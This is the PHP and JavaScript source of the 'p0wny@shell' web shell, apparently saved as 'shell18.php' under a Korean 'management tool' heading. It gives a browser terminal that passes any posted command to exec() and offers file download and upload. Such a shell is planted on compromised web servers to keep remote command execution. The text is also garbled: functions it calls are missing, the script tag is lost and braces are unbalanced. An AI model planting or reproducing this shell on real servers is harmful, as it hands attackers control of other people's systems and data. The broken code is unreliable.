관리-도구

편집 파일: shell18.php

<?php

function featureShell($cmd, $cwd) {
    $stdout = array();

if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}

function featurePwd() {
    return array("cwd" => getcwd());
}

if (isset($_GET["feature"])) {

$response = NULL;

switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

header("Content-Type: application/json");
    echo json_encode($response);
    die();
}

?><!DOCTYPE html>

<html>

<head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }

*::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

*::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

*::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

#shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

#shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

#shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

@media (max-width: 991px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }

html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

#shell {
                    margin-top: 0;
                }
            }

@media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

@media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

.shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

.shell-prompt > span {
                color: #1BC9E7;
            }

#shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

#shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

#shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

#shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

#shell-input input {
                outline: none;
            }
        </style>

function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

function _defer(callback) {
                setTimeout(callback, 0);
            }

function featureShell(command) {

_insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

}

function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

}

function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

if (target.tagName === "SELECT") {
                    return;
                }

if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

</html>